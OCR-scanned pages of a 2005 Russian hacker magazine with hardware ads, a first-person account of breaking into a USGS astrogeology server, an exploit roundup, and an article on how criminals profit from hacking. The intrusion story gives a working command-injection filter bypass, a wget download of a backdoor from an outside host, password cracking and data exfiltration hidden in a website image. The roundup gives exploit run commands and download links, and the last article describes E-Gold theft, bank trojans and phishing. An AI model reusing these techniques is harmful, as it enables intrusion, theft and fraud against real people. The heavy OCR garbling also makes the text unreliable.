1 X РСІеХІб, 2х РСІе XI, 4х РСІ; 

4х5егіаІ АТАІІ {РАЮ 0, 1, 0+1); 

Аисііо 7.1, АС97; СЬЕ 1_АМ, ІЕЕЕ 1394а; 
до 8 портов У5В 2.0 



И СОСН.ГЮ 



Собственное производство высококачественной стали • Лицевые панели изготовлены в соответствии со стандартами ведущих мировых производителей 
Легендарные блоки питания Р5Р, НІРго, СѴІТ • Сборка ПК без использования инструмента во всех моделях корпусов 
Дополнительные вентиляторы и УЗВ панели в базовой конфигурации • Более 100 моделей во всех ценовых категориях 
Широкий ассортимент вентиляторов для процессоров АМО и Іп(е1 



Москва: Ргапеідгоир - (095) 789-3846; ІЛІга СотріЛегз - (095) 775-7566; Инксярейд - (095) 785-8659; Кит - (095) 777-6655; Компьютадор - (095) 274-7300; НИКС - (095) 974-3333; Полярно - (095) 755-5557; Альметьевск: Компьютерный мир - (8553) 25-38-29 
Волгоград: ЮКК МТ - (8442) 49-19-20; Краснодар: Игрек - (8612) 210-98-50; Красноярск: КАПИТАЛ-СЕРВИС - (3912) 63-60-30; Курск: КомпьюЛэнд - (0712) 56-46-43; Курчатов: КомпьюЛэнд - (07131) 2-31-22; Липецк: Регард - (0742) 22-13-09 
Набережные Челны: КЦ "Мехі сотріЛег” - (8552) 39-03-38; Нижнекамск: КЦ "Мехі сотриІеГ - (8555) 43-79-82; Нижний Новгород: АйТиОн - (8312) 74-85-90; ВИСТ-НН 000 - (8312) 7848-78; Ником-Медиа (8312) 34-11-34; ЮСТ - (8312) 30-16-74 
Новосибирск: ЗЕТ ИСК - (3832) 125-142; Новый Уренгой: Все для офиса - (34949) 5-55-55; Омск: ТНТ 000 - (3812) 36-82-42; Электронный рай - (3812) 51-04-04; Рязянь: ІЛІга - (0912) 205-205; Самара: Прагма - (8462) 16-32-87 
Саратов: АТТО - (8452)444-111; Томск: Стек - (3822) 554-554; Хабаровск: Диалог Плюс - (4212) 50-37-06; Дальком - (4212) - 42-86-72; Челябинск: Алиас - (3512) 37-8717; Чита: Вавилон - (3022) 32-55-00. 



0 



Оіпа ^^сГогіа 

(095) 681-20-70, ѵѵѵлѵ.сіѵсотр.ги 



ТП^ГІІОП 



МЕКЫОМ 

ѵѵѵуѵ/.тегИоп.ги 




Тринити УІОДЖИК 

(095) 540-89-77, ѵлмѵ/.и-с.ги 




ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20МЕ РЕППУМ НЬЮСЫ 





Через ѴѴеЬ на Марс 

НА ОДНОМ СКУЧНОМ ПРЕДМЕТЕ В НАШЕМ ВУ- 
ЗЕ СТУДЕНТАМ ПРЕДЛАГАЛИСЬ ТЕМЫ ДЛЯ РЕ- 
ФЕРАТОВ. ПРЕПОД БЫЛ ОДНИМ ИЗ ТЕХ, КТО 
НЕ ЛЮБИЛ ПЛАГИАТЧИКОВ, ВОРУЮЩИХ РАБО- 
ТЫ В ИНТЕРНЕТЕ. ВЫБРАВ ТЕМУ «ИССЛЕДО- 
ВАНИЕ КОСМИЧЕСКИХ СНИМКОВ», Я ПРИСТУ- 
ПИЛ К ПОДГОТОВКЕ ДОКЛАДА. НАЧАЛ С ПРО- 
СТОГО: ЗАШЕЛ НА ѲООѲЕЕ И ИСПОЛЬЗОВАЛ 
НЕСКОЛЬКО ВАРИАНТОВ АНГЛОЯЗЫЧНЫХ ЗА- 
ПРОСОВ. ТОГДА Я ЕЩЕ НЕ ДУМАЛ, ЧТО ОБЫ- 
ДЕННАЯ СИТУАЦИЯ МОЖЕТ ПРИВЕСТИ К РЕ- 
ВОЛЮЦИОННОМУ ВЗЛОМУ I IV аз1'ег-1аппе-таз1'ег 



Революционный взлом 
американского космоса 

[исследование стратегического сайта] По- 
сле перебора десяти ссылок у меня уже 
пропало какое-либо желание искать ре- 
ферат. Сохраняя страницы на винт, я думал 
о прогулке и пивных возлияниях. Но внезап- 
но меня привлек один очень хороший ре- 
сурс Шр://ізІБ.аБІгодеоІоду,издз,доѵ. В опи- 
сании говорилось, что компания специали- 
зируется на исследовании космических 
фотографий, в частности пишет софт для 
обработки таких картинок. Я подумал, что 
было бы здорово утереть преподу нос, 
приложив такую прогу к своему реферату. 
Уж тогда он точно не подумает, что я про- 
сто стащил реферат из глобальнай Сети, и 
поставит мне автомат по экзамену :). Посе- 
му было решено остаться на этом сайте и 
скачать какой-нибудь примерчик подоб- 
ной софтинки. 

К несчастью, моим мечтам не суждено бы- 
ло осуществиться. Как стало ясно из опи- 
сания, все проекты, расположенные на 
этом сайте, закрыты ат посторонних глаз, и, 
как следствие, никаких программ для пу- 
бличного скачивания на сервере нет :(. Но, 




как говорится, хакерам закон 
не писан, поэтому мысли, не- 
когда направленные на объек- 
ты «улица» и «пиво», стремитель- 
но переместились на «сервер» 
и «взлом» :), Однако хакнуть го- 
сударственный сервак, да еще 
и с закрытыми проектами, 
очень сложно, и я это понимал. 

Дальнейшие шаги я делал по 
обкатанному сценарию: запи- 
сал имя сервера в файл 
Ноз+з.М, а затем запустил чудо-сканер сіпеск.рі. Но, к сожале- 
нию, особых результатов сканирование не принесло — на сер- 
вере не было ни одного бажного скрипта. Это еще раз доказы- 
вает, чта однаабразный взлом редко приводит к успеху. 

Далее я попробавал васпользоваться идеей N30 и паискать 
удачу в онлайн-базе доменов сІотаіпзсІЬ.пѳі. Зарегистриро- 
вавшись в системе, я ввел домен ізіз.азігодѳоіоду.издз.доѵ, но 
получил от ворот поворот — за ІР-адресом была закреплена 
лишь одна ЭЫЗ-запись :(. После ручного поиска багов я понял, 
что все эти затеи бессмысленны, и уже хотел уйти. Однако в 
мою голову пришла идея: поискать сценарии на этсм сайте че- 
рез псисковик. Действительно, мысль была разумной. Стоило 
мне задать запрос «іпигЫзіз.азІтодеоІоду.издз.доѵ ^ІІе1'уре:сді», 
как Гугл вернул мне около десяти ответов. Как выяснилось, все 
сценарии лежали в папке /Ізіз-Ып, ссылок на которую почему- 
то не было на главной странице. 

[жесткая фильтрация] Не буду тянуть кота за хвост, скажу лишь, 
что один из сценариев оказался уязвимым. Баг позволял выпол- 
нять любые команды, передавая параметр стсі I . При обычных 
условиях в качестве опции должна находиться цифра — номер 
главы документа. Я жутко обрадовался и подумал, что мне попа- 
лась легкая добыча. Однако не тут-то было. Скрипт нещадно 
фильтровал различные спецсимволы, среди которых был пробел. 
Если команда /сУ I успешно выполнялась, то запрос «ипатѳ -а» не 
приводил к положительному результату. 




[крупномасштабный астрогеологиче- 
ский портал] 





я попробовал использовать обход фильтрации пробела 
с помощью переменной $1РЗ. Это помогло, но запрос 
немного усложнился. Теперь, чтобы узнать операцион- 
ную систему, мне потребовалось ввести в строку брау- 
зера команду ипатѳ$ІГЗ-а. Я определил, что сервер 
крутится под управлением двухпроцессорного пингви- 
на, Думаю, не стоит говорить о том, что на сервере бы- 
ли зафайрволены почти все порты — это и ток понятно. Я 
возлагал надежды на бэкдор сЬсІ.с, который выручал 
меня во многих ситуациях. В данный момент я лишь хотел 
залить его на сервер. Но меня >кдал один неприятный 

момент. Помимо пробела, скрипт фильтровал символ «/», из-за чего дать команду закачать 
файл у меня не получилось. Но я и не думал отчаиваться, ибо знал, как обойти такую про- 
верку, В таблице АЗСІІ коду 47 соответствует символ «/». Таким образом, с помощью кон- 
сольных средств желаемый эффект достигается очень быстро :). Команда, генерирующая 
«/», имела вид: рег/-е 'ргіпі сІіг(47)'. Осталось лишь интегрировать этот запрос с /ивг/Ып/ѵѵдѳі 
и переменной $1РЗ. Чтобы скачать бэкдор, я сгенерировал следующую строку: 



Не стоит забывать, что все 
действия хакера противоза- 
конны и эта статья предназ- 
начена лишь для ознако- 
мления и организации пра- 
вильной защиты с твоей 
стороны. За применение 
материала в незаконных 
целях автор и редакция от- 
ветственности не несут. 




Как только хакер проникает 
на сервер, он обязательно 
просматривает файл 
Шрб.сопі. В нем можно 
найти информацию о ѴѴеЬ- 
серверах, а также о доку- 
ментах, доступных только 
через интрасеть. 



Далее процесс пошел намного быстрее и 
веселее. Бэкдор я скомпилил и запустил так 
же, как заливал его на сервер. Затем без 
особых сложностей я приконнектился к 
серверу и стал смотреть, что же интересно- 
го находится на его магнитных носителях :). 



'регі -е "рппР 'ѵѵдеі" туІіоз1'.сот'.сІпг(47).'сЬсІ.с -О '.с1тг(47).'1'тр'.с1тг(47).'сЬс1.с"'' 

Затем я изменил все пробелы на переменную $1РЗ (для обхода фильтрации) и передал 
строку серверу. Бэкдор незамедлительно был скачан и сохранен в каталог Цтр. Да- 
вай детально разберемся в том, что я только что сделал. Как тебе известно, любую РегІ- 
команду можно выполнять прямо в консоли, передав ее после флага -е. Сейчас я за- 
ставил интерпретатор написать строку хл/деР «туІтозР.сот/сЬсІ.с -О /Ртр/сЬсІ.с». Од- 
нако, учитывая то, что скрипт фильтрует пробел и обратный слэш, мне пришлось заме- 
нить их аналогами $1РЗ и с1тг(47) соответственно. Для того чтобы заставить эту команду 
выполниться, я обрамил ее символами «'». Таким образом, мой запрос генерировался 

и выполнялся на лету. Можно 
было бы поступить иначе и сох- 
ранить запрос во временном 
файле, но тогда пришлось бы 
заменять обратный слэш в пути 
к нему. Для сохранения данных 
в текущем каталоге у меня про- 
сто не было прав, поэтому я 
прибегнул к такому хитрому ис- 
полнению команды. 




[полоса неудач] Находясь внутри, я еще 
даже не предполагал, что за приключения 
меня ждут. Изначально было решено по- 
смотреть, в какую, собственно, систему я 
проник :). Команды рз ах и саі /ѳіс/"гѳІеазѳ 
показали, что передо мной преклонилась 
известная операционка ЗиЗЕ Ііпих версии 
8.2. Проанализировав все данные, я пред- 
положил, что локальный рут возможно взять 
только эксплойтом ЬіпСт^еКО, ориентиро- 
ванным на ЗМР-системы. Извращаться с 
хл/деЕ'ом уже не пришлось, ведь я работаю в 
полноценном шелле безо всякой фильтра- 
ции. Однако после запуска эксплойта си- 
стема повела себя как-то странно. Вместо 
локального рута я получил страшный лаг 
при выполнении любой команды. Решив, что 
пора убить все процессы, порокденные 
страшным сплойтом, я снова полез к ко- 
манде рз, однако в эту секунду связь с сер- 



[хакер 06 [78] 05 > 
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с помощью РегІ можно де- 
лать всяческие фокусы, 
ориентированные не только 
на обход фильтрации пере- 
менных. Учи этот язык, при- 
годится! 



вером прервалась. Я понял, что все это из-за кривого 
эксплойта, работа которого раз на раз не приходится. 

Было решено >кдать, пока админ перезагрузит машину. 

И я дождался этого момента! 

Это случилось ближе к ночи. В аккурат, когда у амери- 
канцев начался рабочий день. Я попытался запустить 
свой бэкдор, но не обнаружил его в папке /ітр. Либо 

это было вызвано перезагрузкой, либо администратор намеренно удалил его. Команда 
ѵу показывала, что в консоли орудуют целых два админа, поэтому я захотел подо>кдать 
начала следующего дня — того самого времени, когда американцы отправятся спать. 

[полет на Марс!] Повторив все вышеописанные действия, я повторно подключился к сер- 
веру. Теперь уже без желания порутать машину я стал ползать по локальным каталогам. 
Внутри консоли было все гораздо интереснее, чем снаружи, со стороны \л/еЬ-сервера 
:). Сплошь и рядом находились папки с привлекательными названиями; рго]есТз, Ті- 
па1_\л/огк и т.п. Доса>кдало лишь то, что \л/еЬ-юзера пускало не во все каталоги. 

Через двадцать минут скитаний по диреіаориям я был вознагражден. В папке /ивг/арасііе бы- 
ли найдены три каталога с именами іпТгапеТ, ехТгапеТ и іпТегпеТ. Я всегда относился к внутрен- 
ним сетям с повышенным интересом, в данном случае налицо было заметно деление сети на 
три части. Я начал просмотр с каталога ІпТегпеТ — здесь была обнаружена струістура папок, в 
точности соответствующая той, на которую меня привел гугл. В ехТгапеТ'е находились файлы 
.ТіТассезз и .Мраззѵл/сІ, оба они были доступны для чтения (но не для записи :(). Прочитав их, я по- 
нял, что к корпоративному сайту имеют доступ около 50 человек. В данном случае было проще 
расшифровать чей-либо пароль, чем читать каждый іпсІех.ІпТтІ из консоли. Сказано — сдела- 
но, моему Д>конику был скормлен большой листик с паролями, и даже без словаря, с помо- 
щью опции -БІпдІе, я открыл три пароля. Теперь мне оставалось узнать, под каким доменом 
прописан этот экстранетный сайт :), Без труда обнаружив ТіТТрсІ.сопТ (а он, как ты догадался, 
находился в каталоге /изг/арасІіе/соп^/ШрсІ.сопО, я нашел заветный ѴѴеЬ-путь: ехігапеіізіз.аз- 
ігодеоіоду.издз.доѵ. Я успешно авторизовался под только что взломанным аккаунтом и стал 
бродить в поисках интересной информации. Однако даже на корпоративном сайте я не 
встретил ничего хорошего — сплошь и рядом какие-то отчеты о проделанной работе и списки 
сотрудников компании. Не знаю, как тебе, а мне эта гнилая инфа никак не приглянулась. 

Но я совсем забыл, что в компании существовал некий внутренний ресурс Іп1тапе1'. Трюк, 
проделанный ранее, здесь никак не осуществить — политика доступа была более же- 
стокой: в .Массезз прописывался не только путь к .БТраззѵѵсІ, но и доверенные хосты, с ко- 
торых можно подключаться к удаленному узлу. Среди этих хостов были очень интерес- 
ные имена: ІаЬ.паза.огд и прочие. Один этот факт говорил о наличии секретных данных в 
этих папках. Настало время его надкусить :). Развернув консоль на весь экран, я начал 
путешествие по ветвистым папкам с различными проектами. И действительно, там было 
очень много ценной информации: какие-то лунные фотки, отчеты о спутниковом оборудо- 
вании и... снимки с поверхности Красной планеты. Да, именно снимки, заснятые послед- 
ним марсоходом, выпущенным американцами в свободное плавание. Этот проект я 
просматривал на одном дыхании; в каталоге было много файлов с расширениями рс1(, 
сиЬ (биполярные снимки), бос и несколько презентаций. Судя по дате, проект находил- 
ся в стадии разработки и регулярно обновлялся. Сам понимаешь, данная информация 
никогда не будет лишней, поэтому мне захотелось ее транспортировать на один из до- 
веренных шеллов. В этот момент у меня появился первый приступ шизофрении — я почув- 
ствовал, что за мной следят и ко мне домой направлен отряд ФБР и Интерпола :). Но че- 
рез пять минут страхи развеялись, и я еще раз успокоил себя тем фактом, что в Америке 
темная ночь и ни одному администратору не придет в голову зайти в консоль. 

[транспортировка ценной добычи] Теперь у меня была единственная цель — транспорти- 
ровать важные файлы на свой сервер. Если в тривиальной ситуации решение этой зада- 
чи заняло бы у меня от силы десять минут, то здесь мне пришлось изрядно попотеть. Ра- 
склад был следующим: на диске с проектами не было ни одной директории, доступной 
для записи, следовательно, стянуть файлы через \ЛЛЛЛЛ/ не представлялось возможным. 
Затем я узрел, что на всех дисках было очень мало свободного места. Учитывая то, что 
проекты весили порядка 1-2 Гб, расклад был явно не в мою пользу. Использовать зср тоже 
было накладно (хотя возможно), так как псевдотерминала за мной закреплено не было. 
И тут мне пришло в голову поискать файлы, доступные для записи. Выполнив команду ЛпсУ 
/изг/арасііѳ -іуре ^-регт 666, я стал терпеливо ждать результата. В 
итоге финд нашел один-единственный файлик под названием Ьаск- 
дгоипб.рпд. Сразу же возникло желание загнать в это изображение 
весь архив с проектом, но мешало лишь отсутствие свободного ме- 
ста — его было чуть больше гигабайта. На глаз прикинув размеры 
нескольких каталогов, я выполнил команду іаг гсі /изг/арасіпе/іпіег- 
пѳі'/ітд/ЬаскдгоипсІ.рпд /изг/арасІіѳ/іпігапѳі/рго]ѳс'!з/МАІ^З-1/М- 
сіег1 /раі!і/іоДоІсІѳг2, еГс. Перед тем как нажимать епГег, я вовремя 
спохватился и предварительно забэкапил картинку в /ітр. Только 
после этого архивация была начата. В ту минуту я представил со- 
стояние человека, который решил зайти на сайт, — это изображе- 
ние вертелось на главной странице :). 

Когда работа была завершена, я попытался скачать картинку 
Ьаскдгоипб.рпд, но получил коварную ошибку 403. В непонятках я 
долго сравнивал права, сливал соседние изображения, но никак 
не мог уяснить причину невозможности заливки. Лишь спустя нес- 
колько минут до меня дошло, что Арасіпе не в состоянии загрузить 




[умная авторизация по хостам и паролям] 
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[каталог о космическими фотографиями] 

файл размером больше одного гигабайта. 
Пришлось затирать содержимое картинки 
и паковать архив по новой. Со второй по- 
пытки все пошло как по маслу — данные 
успешно залились на мой сервер. 

[вот и сказочке конец...] Когда самые инте- 
ресные проекты были у меня на компьюте- 
ре, я поспешил их изучить. Да, действитель- 
но, эта компания проводила анализ сним- 
ков с Марса, но никак не с целью изучения 
поверхности планеты, а для корректировки 
параметров своего оборудования (ребята 
создавали спутниковые измерительные 
приборы, я об этом говорил в самом нача- 
ле). Но все равно почитать статистику, от- 
четы и посмотреть космические фотогра- 
фии было интересно. В эти минуты я ощу- 
щал себя лидером в научной сфере :). 

Ты спросишь меня: чем закончилась исто- 
рия с моим рефератом? Я добился, чего хо- 
тел: приложив несколько рсІГ-документов и 
пару фотографий Луны к своему отчету, я 
произвел очень приятное впечатление на 
преподавателя и сдал экзамен автоматом. 
Кроме того, я обещал поделиться с ним па- 
рочкой программ для исследования сним- 
ков, но так и не сделал этого — очень лома- 
ло снова закачивать бэкдор и заливать при- 
ложения через расшаренную картинку. 
Мораль этой истории такова: любой, даже 
самый защищенный ѴѴеЬ-сервер можно сло- 
мать, Ошибка сисадминов была очень боль- 
шой: всю секретную документацию необхо- 
димо было оставлять за ЭМ2, а никак не на 
машине, светящейся в глобальной Сети. Пом- 
ни об этом и никогда не повторяй промашек 
капиталистических администраторов ® 



[ЧТО помогло МНЕ ПРИ ВЗЛОМЕ] 

Ш Большинство взломщиков, увидев некоторую защи- 
ту скрипта (например, фильтрацию важных символов), 
опускают руки и не пытаются ее обойти. На самом де- 
ле приемов обхода масса, живой тому пример — ме- 
тод, описанный в статье. 

Ш Чтобы вытащить важную информацию, мне приш- 
лось долго искать доступный для записи файл или ка- 
талог. В итоге нашелся всего один рисунок, в который 
был занесен целый архив. 

0 Расположение интрасетевых ѴѴеЬ-документов на 
глобальном сервере — явление очень популярное. Я 
сразу же проверил виртуальные хосты и овладел инте- 
ресной документацией. 





Докучаев Дмитрий ака РогЬ (^огЬ@гѳаІ. хакер. ги) 

ОБЗОР ЭКСПЛОЙТОВ 

НОО-ІСМР-АТТАСКЗ-РОС.С 
иМІѴЕРЗАІ ЕХРІОІТ 

[описание] Помнишь виндовый сплойт, ко- 
торый я описывал в предыдущем обзоре? 
Пару недель назад появился более прод- 
винутый экземпляр, позволяющий рвать 
коннекты и уводить в даун множество опе- 
рационных систем. Поразительно, но 
эксплойт способен глушить как маршрути- 
заторы Сізсо, так и обычные ѴѴІпХР и ѴѴІп2к. 
Все дело в том, что баг в реализации ІСМР 
позволяет отрубать или замедлять соеди- 
нения и по другим протоколам — ТСР и ВѲР. 
Эксплойт легко компилируется кок под 
ѴѴІпсІо\л/з, так и под Ііпих. Для сокрушитель- 
ного удара необходимо указать несколько 
простых параметров: ІР-сервера, ІР-клиен- 
то, порты и тип атаки. Ток, например, если 
атака происходит с сервера 192.168.0.1, о 
атакуемый имеет адрес 192.168.10.2, то за- 
пускать бинарник следует ток: 

,/ехрІоіІ -11:192.168.0.1 -11:192.168.10.2 - 
1р:80 -1р:1023 -а:1. 

После старта эксплойта произойдет ата- 
ка, и на удаленной машине оборвутся все 
ТСР-сессии. 

[защита] Для защиты следует установить 
спасительный патч от М3 {тАМ/.тісю$ой. 
со т/іесішеі/зес и гіі'у/ВиІІѳ^іп/ М305- 
019,тзрх) либо обновить прошивку Сізсо 
(и/тѵ. сізсо. сот/тагр/риЫіс/707/сізсо-за- 
20050412-істр.зІіітІ). 

[ссылки]Эксплойт можно скачать по адресу 
уѵѵ\Л/ѵ.хакер,ги/роз1'/26392/ехрІоіі. М. Если 
возникнут проблемы с компиляцией, заби- 
рай уже готовый бинарник отсюда: 
Шр://зес^ог18.пагосі.ги/істр.ехе. 

[злоключение] Этот эксплойт имеет версию 
0.2. Автор не отрицает, что будут выпущены 
следующие версии, а это значит, что адми- 
нам есть смысл волноваться за свои марш- 
рутизаторы и воркстейшны. 

[дгееіз] Объявляем благодарность хакеру 
ІіоизеоІсІаЬиз. Если хочешь связаться с ним, 
зайди в его >101< (ѵѵѵт.ііѵеригпаі.сот/изегз/ 
Ііоизѳо'^сІаЬиз) и оставь положительный 
комментарий :). 




[генератор смертельных пакетов] 



МІСРОЗОРТ ЕХСНАМОЕ 8ЕРІѴЕР 
РЕМОТЕ СОРЕ ЕXЕС^ТIОN 
[описание] В известном продуете от МісгоЗоИ 
недавно обнаружили досадную уязви- 
мость. Ошибка закралась в библиотеку 
хІзазіпк.сІІІ. Баг позволяет злоумышленнику 
переполнить кучу с помощью специально 
сформированной команды. В пересылае- 
мом шеллкоде взломщик аккуратно распо- 
лагает код, который выполнится с правами 
ЗМТР-службы (по умолчанию ЕосаІ Зузіет). 
Эксплойт написан на языке РегІ и протес- 
тирован на системе ѴѴІп2к Еп + ЗР4. В ис- 
пользуемом шеллкоде зашит вызов функ- 
ции МеззадеВохА(М305-021 Тезі). Естест- 
венно, никто не мешает тебе покопаться в 
сплойте и вызвать другую функцию, ска- 
жем, зузІегпС'ІогтаІ сі:") :). 

[защита] Чтобы не было мучительно боль- 
но, рекомендуется установить третий сер- 
вис-пак для ѴѴІП2000 МісгоЗоІІ ЕхсМапде 
Зегѵег (,Шр://сІоѵѵпІоасІ.тісгозой^.сот/сІо\ѵп- 
іоасЗ/3/6/а/36ае7Ь61-ѳ8т-4662-Ь0Ы- 
5Ь76с267Г633/ЕхсІіапде2000-КВ894549-х86- 
ЕN^.ѳxе). 

[ссылки] Эксплойт ждет своего часа здесь: 
\л/\л/\л/. хакер. ги/розі'/26368/сІеі'аиІі.азр. Бо- 
лее подробное описание бага можно пос- 
мотреть тут: ѵі/\/ѵ\/ѵ.зѳсигііуІаЬ.ги/53956.ІіітІ. 

[злоключение] К счастью для админов, не 
все системы уязвимы. Так, например, для 
эксплуатирования ЕхсТіапде Зегѵег в 
ѴѴІП2003 необходимо предварительно ав- 
торизоваться, что значительно усложняет 
задачу хакера. 

[дгееТз] Дружно снимаем шляпы перед Ев- 
гением Пинчуком. Он является автором 
эксплойта. Также в заголовке сишного 
файла передается привет этим людям: 
АІех ВеТіаг, Ѵигі ѲизТііп, ІзТюу Зоттег, 2іѵ 
Ѳасіоі апсі Эаѵе На\л/кіпз. 




[проверяем сервер на устойчивость] 



РОЗТОВЕЗОЕ РЕМОТЕ ВЕВООТ 
<=8.01 ЕХРЕОІТ 

[описание] 15 февраля этого года богоис- 
катели нашли несколько ошибок в коде 
знаменитой СУБД РозТдгеЗОЕ. В файле 
дгат.у обнаружились бреши в функциях 
геас1_зд1_сопз1гисТ() и таке_зеІес1_з1т1(). 
Взломщик мог реализовать переполнение 
буфера, создав запрос с избыточным ко- 
личеством переменных. 

Это известие быстро забылось, однако 22 ап- 
реля всплыла новая весточка: был выпущен 
эксплойт, перезагружающий РозТдгеЗОЕ. Ха- 
керу достаточно знать имя, пароль и назва- 
ние базы для того, чтобы рестартануть демон. 
Компилить эксплойт нужно на сервере с ус- 
тановленными библиотеками ІІЬрд. После ко- 
манды сс -о рдзрІ_геЬооі рдзд!_геЬооі.с - 
І/изг/ІосаІ/рдздІ/іпсІисІѳ -і/изг/!осаІ/рдздІ/!ІЬ - 
Ірд компилятор должен собрать бинарный 
файл. Последний необходимо запустить с па- 
раметрами ір-асісігезз, изегпате и разз\л/огсІ. 

[защита] Настоятельно рекомендуется об- 
новить версию РдЗОЕ, если она использу- 
ется в твоей системе. Только после этого 
ты можешь с уверенностью сказать, что ни- 
какой хакер не вторгнется на твой сервер. 

[ссылки] Слить эксплойт можно отсюда: 
\л/\А/т.хакѳр.ги/розі/26069/ѳхрІоіі.М, ману- 
ал по уязвимости находится по адресу 
Шр://зесигііу. ппоѵ. ги/с1ос57226.Мт1. 

[злоключение] В публичном эксплойте есть 
лишь один таргет для ОеЬіап'а. Если хакер 
хочет сломать другую операционку, ему 
необходимо прибегнуть к встроенному пе- 
реборщику адресов, работа которого 
займет очень длительное время. 

[дгееіз] Благодарим ЗТеІап Еззег'а за иссле- 
дование кода и найденные баги. А чувак с 
ником сгазТі-х отличился вдвойне, так как 
смог написать рабочий эксплойт к самой 
критической ошибке. 




[первый эксплойт к сокрушительному багу] 
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ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОЮ 





По воровской... 



мы НЕ РАЗ ПИСАЛИ НА СТРАНИЦАХ ЛЮБИ- 
МОГО ЖУРНАЛА О МАХИНАЦИЯХ С КРЕДИТ- 
НЫМИ КАРТАМИ, ПОЭТОМУ, ДУМАЮ, ТЫ 
ЧЕТКО ПРЕДСТАВЛЯЕШЬ, ОТКУДА КАРДЕ- 
РЫ БЕРУТ СВОЮ «ЗАРПЛАТУ». ОДНАКО О 
ТОМ, НА ЧЕМ ДЕЛАЮТ БАБКИ ХАКЕРЫ, МЫ 
НЕ ПИСАЛИ НИ РАЗУ. ЕСЛИ ТЫ ДУМАЕШЬ, 
ЧТО ХАКЕРЫ ЖИВУТ ЗА СЧЕТ ВЗЛОМОВ НА 
ЗАКАЗ, ТО СИЛЬНО ОШИБАЕШЬСЯ. ПОРА 
ВЫЙТИ ИЗ ТЕНИ — СЕГОДНЯ Я ОТКРОЮ 

ЗАВЕСУ ТАИНЫ I Олег Толстых ока N30 (\ллллл/.П8с1.ги) 
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Криминальный мир: 
на чем хакеры 
поднимают лаванду 

[интродукция] Думаю, Майндворк тебе 
много рассказывал о том, каких типов 
бывают компьютерные взломщики. Быва- 
ют люди, которые ломают для души: им 
интересно разобраться в системе, най- 
ти изъян и сообщить о нем администра- 
тору. Есть хакеры, которые полностью 
легализовали свою деятельность и зани- 
маются так называемым зесигі+у-консал- 
тингом. Но в этой статье я хочу расска- 
зать о ребятах с другими взглядами. Их 
специализация заключается в получе- 
нии несанкционированного доступа с 
последующим использованием его в ко- 
рыстных и обычно незаконных, крими- 
нальных целях. 

[кража Е-ѲоІсІ'а] В США большой популяр- 
ностью сейчас пользуется система элект- 
ронных платежей Е-6о1с1. И неспроста — 
она настолько легка в использовании, что 
юзать ее мог бы даже грудной ребенок. 
Чтобы получить акцесс к переводу денег с 



Следует понимать, что 
электронное мошенничест- 
во по сути своей мало чем 
/ I \ отличается от реального. 

Мне даже кажется, что это 
более гнусная вещь — 
ведь люди теряют на нем 
даже больше денег . К то- 
муже, УК РФ очень жестко 
за это карает. Берегись! 



Сайты популярных 
электронных банков: 
шшш./ітзібапк.сот, 
шшш.избапк.сот. 

личного Е-ѲоІсІ-счета, пользо- 
вателю требуется всего-нав- 
сего знать номер своего ко- 
шелька, пароль от него и иметь 
доступ к указанному при реги- 
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[форма опііпе-доступа к счетам РігзШапк’а] 





страции мылу. Достаточно часто обменные пункты 
электронных валют, интернет-магазины и денежные 
пирамиды используют прием или выплату Е-ѲоІсІ'а в 
автоматическом режиме. Таким образом, чтобы 
злоумышленник получил доступ к чужим деньгам, ему 
достаточно поломать сервер, на котором находится, 
например, обменник валют. Автору этой статьи (да и 
многим другим хакерам) не раз удавалось найти на 
взломанном сервере пароль от Е-ѲоІсі-кошелы<а и 
увести чужие бабки на свой Е-ѲоІсІ-счет, Украденные 
буржуйские е-доллары достаточно просто конверти- 
руются в средства русской платежной системы 
ѴѴеЬМопеу с помощью автоматического обменного 
пункта ѵѵ\А/ѵ\/.гоЬохсІіапдѳ.сот или аналогичного ему, 
после чего их безо всяких проблем можно обнали- 
чить, Можно с уверенностью сказать, что если хакеру 
удастся поиметь обменник, то находящиеся в нем 
деньги превратятся в реальные бумажные банкноты в 
течение пары-тройки часов, 

[взлом банков] Ты не заметил, что в новостях по ящику 
все чаще стали говорить о взломе американских бан- 
ков? Тема получения несанкционированного доступа к 
забугорным счетам действительно становится все по- 
пулярнее, Поверь, чтобы украсть лаванду из банка, вов- 
се не обязательно быть каким-то мегауникальным моз- 
гом, не нужно знать каких-то особых секретов. Дело в 
том, что в США существует огромное количество бон- 
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ков, которые предоставляют своим клиентам опііпе- 
доступ к счетам (например, ѵѵ\/ѵ\А/.Лгзі'Ьапк.сот, 
ѵ/ѵѵѵѵ.изЬапк.сот и т.п.). Для того чтобы залогиниться на 
банковском сервере, нужно знать логин и пароль от ак- 
каунта. Имея их, пользователь может не только следить 
за балансом своего реального счета в банке, но и вы- 
писывать с него денежные чеки, действующие внутри 
страны. В некоторых банках для выписки чека требу- 
ется указать вторичный пароль от аккаунта, однако, 
имея доступ к компьютеру владельца счета, получить 
его так же просто, как и первичный. Если успеть обна- 
личить чек до того, как хозяин обнаружит пропажу ба- 
бок, то дело будет в шляпе. 

Что же делают взломщики-охотники за буржуйс- 
кими банковскими аккаунтами? Они протрояни- 
вают наивных американцев специально разра- 
ботанным софтом, который отлавливает паро- 
ли, вводимые в \л/еЬ-формы. Затем троян отсы- 
лает улов на хакерский сервер, где украден- 
ные пароли обрабатываются и заносятся в базу. Слив ин- 
фу с большого количества компьютеров, хакер может 
производить выборку по своей базе, отбирая пассы от 
нужных ему ресурсов. Сам понимаешь, ничто не мешает 
завладеть паролями от банковских аккаунтов, платежных 
систем или аукционов. 

Есть и другой, гораздо более сложный способ получения дос- 
тупа к управлению финансовыми счетами банков. Если на ми- 
нуту представить, что хакеру удалось получить шелл-доступ к 
серверу Шз^Ьапк.сот, поломав его приватным Осіау-сплойтом, 
то этот хакер уделает своими слюнями все вокруг. Ведь за па- 
ру минут он заработает столько денег, сколько обычный чело- 
век не заработает за всю жизнь. Достаточно будет просто 
слить всю базу с логинами и пассами законопослушных клиен- 
тов, пользующихся услугами банка. 

[фишинг] Фишинг — это технология, основанная на социальной 
инженерии и направленная на хищение персональных данных 
(обычно логина и пароля) для поимки целевого аккаунта. ЕІе- 
малое количество пассов удается выманить у ламеров при 
массовой рассылке красноречивых писем с поддельным ад- 
ресом отправителя, содержащих просьбу «уточнить конфиден- 
циальные данные». Представь, что хакеру нужно поиметь акки 
пользователей платежной системы Е-ѲоІсІ. Для этого можно 
разослать американцам письма с просьбой «срочно зайти на 
акк» и ссылкой на страницу \/ѵ\/ѵ\/ѵ.е-доІсІ.сот/ассі/Іодіп.ІіігпІ. 
